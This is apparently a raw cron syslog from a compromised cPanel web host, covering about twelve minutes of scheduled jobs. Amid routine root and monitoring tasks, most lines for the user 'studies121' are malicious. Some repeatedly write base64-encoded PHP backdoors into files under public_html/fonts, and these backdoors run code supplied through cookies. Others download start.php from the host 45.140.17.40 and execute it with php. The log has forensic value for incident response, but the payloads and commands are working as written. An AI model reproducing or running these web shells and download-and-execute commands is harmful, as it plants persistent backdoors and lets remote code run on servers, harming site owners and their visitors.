Sep 11 13:47:01 ip-184-168-122-23 CROND[13211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:48:01 ip-184-168-122-23 CROND[13379]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:48:01 ip-184-168-122-23 CROND[13381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:48:01 ip-184-168-122-23 CROND[13382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:48:01 ip-184-168-122-23 CROND[13384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:48:01 ip-184-168-122-23 CROND[13383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:49:01 ip-184-168-122-23 CROND[13478]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 11 13:49:01 ip-184-168-122-23 CROND[13481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:49:01 ip-184-168-122-23 CROND[13479]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:49:01 ip-184-168-122-23 CROND[13480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:49:01 ip-184-168-122-23 CROND[13482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:50:01 ip-184-168-122-23 CROND[13620]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 13:50:01 ip-184-168-122-23 CROND[13624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:50:01 ip-184-168-122-23 CROND[13626]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 13:50:01 ip-184-168-122-23 CROND[13628]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:50:01 ip-184-168-122-23 CROND[13630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:50:01 ip-184-168-122-23 CROND[13632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:50:01 ip-184-168-122-23 CROND[13627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:50:01 ip-184-168-122-23 CROND[13629]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:50:01 ip-184-168-122-23 CROND[13634]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:51:01 ip-184-168-122-23 CROND[13771]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:51:01 ip-184-168-122-23 CROND[13774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:51:01 ip-184-168-122-23 CROND[13772]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:51:01 ip-184-168-122-23 CROND[13773]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:52:02 ip-184-168-122-23 CROND[13897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:52:02 ip-184-168-122-23 CROND[13899]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:52:02 ip-184-168-122-23 CROND[13901]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:52:02 ip-184-168-122-23 CROND[13902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:52:02 ip-184-168-122-23 CROND[13900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:53:02 ip-184-168-122-23 CROND[14106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:53:02 ip-184-168-122-23 CROND[14109]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:53:02 ip-184-168-122-23 CROND[14107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:53:02 ip-184-168-122-23 CROND[14108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:54:01 ip-184-168-122-23 CROND[14220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:54:01 ip-184-168-122-23 CROND[14223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:54:01 ip-184-168-122-23 CROND[14224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:54:01 ip-184-168-122-23 CROND[14226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:54:01 ip-184-168-122-23 CROND[14227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:55:01 ip-184-168-122-23 CROND[14323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:55:01 ip-184-168-122-23 CROND[14325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:55:01 ip-184-168-122-23 CROND[14327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:55:01 ip-184-168-122-23 CROND[14326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:55:01 ip-184-168-122-23 CROND[14328]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 13:55:01 ip-184-168-122-23 CROND[14329]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 13:56:01 ip-184-168-122-23 CROND[14424]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:56:01 ip-184-168-122-23 CROND[14425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:56:01 ip-184-168-122-23 CROND[14427]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:56:01 ip-184-168-122-23 CROND[14426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:56:01 ip-184-168-122-23 CROND[14428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:57:01 ip-184-168-122-23 CROND[14519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:57:01 ip-184-168-122-23 CROND[14522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:57:01 ip-184-168-122-23 CROND[14521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:57:01 ip-184-168-122-23 CROND[14523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:58:01 ip-184-168-122-23 CROND[14684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:58:01 ip-184-168-122-23 CROND[14687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:58:01 ip-184-168-122-23 CROND[14686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:58:01 ip-184-168-122-23 CROND[14688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 13:58:01 ip-184-168-122-23 CROND[14689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 13:59:01 ip-184-168-122-23 CROND[14786]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 13:59:01 ip-184-168-122-23 CROND[14788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 13:59:01 ip-184-168-122-23 CROND[14789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 13:59:01 ip-184-168-122-23 CROND[14790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
